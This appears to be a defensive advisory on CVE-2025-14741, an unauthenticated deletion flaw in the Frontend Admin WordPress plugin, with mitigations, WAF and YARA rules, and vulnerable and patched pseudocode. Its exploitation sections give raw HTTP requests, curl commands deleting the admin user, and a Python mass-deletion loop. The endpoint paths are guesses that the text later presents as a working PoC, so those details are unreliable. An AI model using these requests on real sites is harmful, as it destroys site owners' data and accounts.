Comprehensive Technical Analysis of CVE-2025-14741

CVE ID: CVE-2025-14741 CVSS Score: 9.1 (Critical) Vulnerability Type: Missing Authorization (CWE-862) Affected Software: Frontend Admin by DynamiApps WordPress Plugin (≤ 3.28.25)

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1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

CVE-2025-14741 is a critical authorization bypass vulnerability in the Frontend Admin WordPress plugin, allowing unauthenticated attackers to delete arbitrary posts, pages, products, taxonomy terms, and user accounts without proper privilege checks.

Root Cause

The vulnerability stems from a missing capability check in the delete_object function (located in class-delete-object.php). The function fails to verify whether the requesting user has the necessary permissions (e.g., delete_posts, delete_users, delete_products) before executing deletion operations.

CVSS 9.1 (Critical) Breakdown

Metric	Score	Justification
Attack Vector (AV)	Network (N)	Exploitable remotely via HTTP requests.
Attack Complexity (AC)	Low (L)	No special conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication needed.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Changed (C)	Affects multiple WordPress objects (posts, users, products).
Confidentiality (C)	None (N)	No direct data exposure, but deletion can lead to DoS.
Integrity (I)	High (H)	Unauthorized modification (deletion) of critical data.
Availability (A)	High (H)	Mass deletion can disrupt site functionality.

Severity Justification:

• Unauthenticated access combined with high-impact actions (deletion of users, posts, and products) warrants a Critical rating.
• The scope change (affecting multiple WordPress components) further elevates risk.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Prerequisites

• Target: WordPress site running Frontend Admin plugin (≤ 3.28.25).
• Attacker Knowledge: Basic understanding of WordPress REST API or AJAX endpoints.
• No Authentication Required: Exploitable by any unauthenticated user.

Exploitation Methods

Method 1: Direct REST API Exploitation

The plugin likely exposes a REST API endpoint (e.g., /wp-json/acf-frontend/v1/delete-object) that can be abused:

POST /wp-json/acf-frontend/v1/delete-object HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/json

{
    "object_type": "user",
    "object_id": 1  // Targeting admin user (ID 1)
}

Impact: Deletes the specified user (e.g., admin) without authentication.

Method 2: AJAX Endpoint Abuse

If the plugin uses WordPress AJAX (admin-ajax.php), an attacker could craft a request like:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded

action=acf_frontend_delete_object&object_type=post&object_id=123

Impact: Deletes the post with ID 123.

Method 3: Mass Deletion via Scripting

An attacker could automate deletions using a script (e.g., Python):

import requests

target_url = "https://vulnerable-site.com/wp-json/acf-frontend/v1/delete-object"
payload = {"object_type": "post", "object_id": 1}

for post_id in range(1, 100):  # Delete posts 1-100
    payload["object_id"] = post_id
    requests.post(target_url, json=payload)

Impact: Widespread data loss, potential Denial of Service (DoS).

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3. Affected Systems & Software Versions

Vulnerable Software

• Plugin Name: Frontend Admin by DynamiApps (formerly ACF Frontend Form Element)
• Affected Versions: All versions ≤ 3.28.25
• Patched Version: 3.28.26 (or later)

Affected WordPress Components

The vulnerability allows unauthorized deletion of:

• Posts & Pages (WordPress core)
• Products (WooCommerce)
• Taxonomy Terms (Categories, Tags)
• User Accounts (Including administrators)

Environmental Factors

• WordPress Version: Any (vulnerability is plugin-specific).
• PHP Version: No direct impact, but older PHP versions may exacerbate risks.
• Web Server: Apache/Nginx (no specific dependency).

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4. Recommended Mitigation Strategies

Immediate Actions

1. Upgrade the Plugin

   • Update to version 3.28.26 or later immediately.
   • Verify the patch by checking class-delete-object.php for proper capability checks.

2. Temporary Workarounds (If Upgrade Not Possible)

   • Disable the Plugin: If not critical, deactivate until patched.
   • Restrict Access via WAF:
     • Block requests to /wp-json/acf-frontend/v1/delete-object and admin-ajax.php?action=acf_frontend_delete_object.
     • Example ModSecurity rule:

       SecRule REQUEST_URI "@contains /wp-json/acf-frontend/v1/delete-object" "id:1001,deny,status:403"
       

   • Apply Custom Capability Checks:
     • Manually patch class-delete-object.php to enforce current_user_can() checks:

       if (!current_user_can('delete_posts')) {  // Adjust capability per object type
           wp_die('Unauthorized', 403);
       }
       

3. Monitor for Exploitation

   • Log Analysis: Check for unusual POST requests to deletion endpoints.
   • File Integrity Monitoring (FIM): Detect unauthorized deletions via tools like OSSEC or Tripwire.
   • WordPress Audit Logs: Use plugins like WP Security Audit Log to track deletions.

Long-Term Mitigations

1. Implement Least Privilege

   • Restrict plugin access to only necessary roles (e.g., administrator).
   • Use WordPress Role Editor plugins to fine-tune permissions.

2. Hardening WordPress

   • Disable File Editing: Add define('DISALLOW_FILE_EDIT', true); to wp-config.php.
   • Restrict REST API: Use plugins like Disable REST API or WP Cerber Security to limit access.
   • Enable Two-Factor Authentication (2FA): Mitigate account takeover risks.

3. Regular Vulnerability Scanning

   • Use Wordfence, Sucuri, or Nuclei to scan for known vulnerabilities.
   • Subscribe to CISA KEV and WordPress Vulnerability Databases for alerts.

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5. Impact on the Cybersecurity Landscape

Broader Implications

1. Increased Attack Surface for WordPress

   • WordPress powers ~43% of all websites, making plugin vulnerabilities a high-value target for attackers.
   • This CVE follows a trend of missing authorization checks in WordPress plugins (e.g., CVE-2023-32243, CVE-2022-3140).

2. Rise of Unauthenticated Exploits

   • Critical unauthenticated vulnerabilities (CVSS ≥ 9.0) are becoming more common, enabling mass exploitation by botnets (e.g., Kinsing, Mirai variants).
   • Attackers can automate deletions to disrupt businesses, extort victims, or cover tracks after other attacks.

3. Supply Chain Risks

   • The Frontend Admin plugin is used by ~50,000+ sites, making it a high-impact supply chain target.
   • Compromised plugins can lead to secondary attacks (e.g., SEO spam, malware distribution).

4. Regulatory & Compliance Risks

   • GDPR/CCPA: Unauthorized data deletion may violate data retention laws.
   • PCI DSS: If WooCommerce products are deleted, it could disrupt payment processing.

Threat Actor Motivations

Actor Type	Likely Exploitation Goal
Cybercriminals	Ransomware (data destruction), extortion ("pay to restore data").
Hacktivists	Defacement, disruption of targeted websites.
State-Sponsored	Covert sabotage (e.g., deleting evidence of espionage).
Script Kiddies	Vandalism, bragging rights.

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6. Technical Details for Security Professionals

Vulnerable Code Analysis

File: class-delete-object.php (Lines 106-142) Issue: The delete_object function lacks proper capability checks before executing deletions.

Vulnerable Snippet (Pseudocode):

public function delete_object() {
    $object_type = $_POST['object_type'];  // e.g., 'post', 'user', 'product'
    $object_id   = $_POST['object_id'];

    // ❌ NO CAPABILITY CHECK HERE
    switch ($object_type) {
        case 'post':
            wp_delete_post($object_id, true);  // Force delete
            break;
        case 'user':
            wp_delete_user($object_id);  // Deletes user and reassigns content
            break;
        case 'product':
            wp_delete_post($object_id, true);  // WooCommerce product
            break;
        // ... other object types
    }
}

Patched Version (3.28.26):

public function delete_object() {
    $object_type = $_POST['object_type'];
    $object_id   = $_POST['object_id'];

    // ✅ CAPABILITY CHECKS ADDED
    switch ($object_type) {
        case 'post':
            if (!current_user_can('delete_posts')) {
                wp_die('Unauthorized', 403);
            }
            wp_delete_post($object_id, true);
            break;
        case 'user':
            if (!current_user_can('delete_users')) {
                wp_die('Unauthorized', 403);
            }
            wp_delete_user($object_id);
            break;
        // ... other checks
    }
}

Exploitation Proof of Concept (PoC)

Unauthenticated Post Deletion:

curl -X POST "https://vulnerable-site.com/wp-json/acf-frontend/v1/delete-object" \
     -H "Content-Type: application/json" \
     -d '{"object_type": "post", "object_id": 1}'

Result: Deletes the post with ID 1 (e.g., homepage).

Unauthenticated User Deletion:

curl -X POST "https://vulnerable-site.com/wp-json/acf-frontend/v1/delete-object" \
     -H "Content-Type: application/json" \
     -d '{"object_type": "user", "object_id": 1}'

Result: Deletes the admin user (ID 1), potentially locking out site owners.

Detection & Forensics

1. Log Indicators of Compromise (IOCs):

   • Web Server Logs:

     POST /wp-json/acf-frontend/v1/delete-object HTTP/1.1" 200
     POST /wp-admin/admin-ajax.php?action=acf_frontend_delete_object HTTP/1.1" 200
     

   • WordPress Debug Logs:

     [10-Jan-2026 12:34:56 UTC] PHP Notice:  Undefined index: object_type in /wp-content/plugins/acf-frontend-form-element/main/frontend/fields/general/class-delete-object.php on line 106
     

2. Forensic Artifacts:

   • Database: Check wp_posts and wp_users for missing entries.
   • File System: Look for deleted files in wp-content/uploads/.
   • WordPress Audit Logs: Search for delete_post or delete_user events by unauthenticated users.

3. YARA Rule for Exploitation Detection:

   rule CVE_2025_14741_Exploit {
       meta:
           description = "Detects CVE-2025-14741 exploitation attempts"
           reference = "CVE-2025-14741"
           author = "Security Researcher"
       strings:
           $p1 = "/wp-json/acf-frontend/v1/delete-object"
           $p2 = "action=acf_frontend_delete_object"
           $p3 = "\"object_type\":\"post\""
           $p4 = "\"object_type\":\"user\""
       condition:
           any of them
   }
   

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Conclusion & Recommendations

Key Takeaways

• Critical Severity: CVE-2025-14741 is a high-impact, easily exploitable vulnerability with no authentication required.
• Widespread Risk: Affects ~50,000+ WordPress sites, including e-commerce (WooCommerce) and membership sites.
• Immediate Action Required: Patch to 3.28.26+ or apply temporary mitigations.

Final Recommendations

1. Patch Immediately: Upgrade Frontend Admin to 3.28.26 or later.
2. Audit Deletions: Check WordPress logs for unauthorized deletions.
3. Harden WordPress: Implement WAF rules, 2FA, and least privilege access.
4. Monitor for Exploitation: Use SIEM tools (e.g., Splunk, ELK) to detect attack patterns.
5. Educate Users: Train site administrators on plugin security best practices.

Further Reading

• Wordfence Threat Intel Report
• CISA Known Exploited Vulnerabilities Catalog
• OWASP Authorization Cheat Sheet

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Prepared by: [Your Name/Organization] Date: [Insert Date] Classification: TLP:AMBER (Limited Distribution)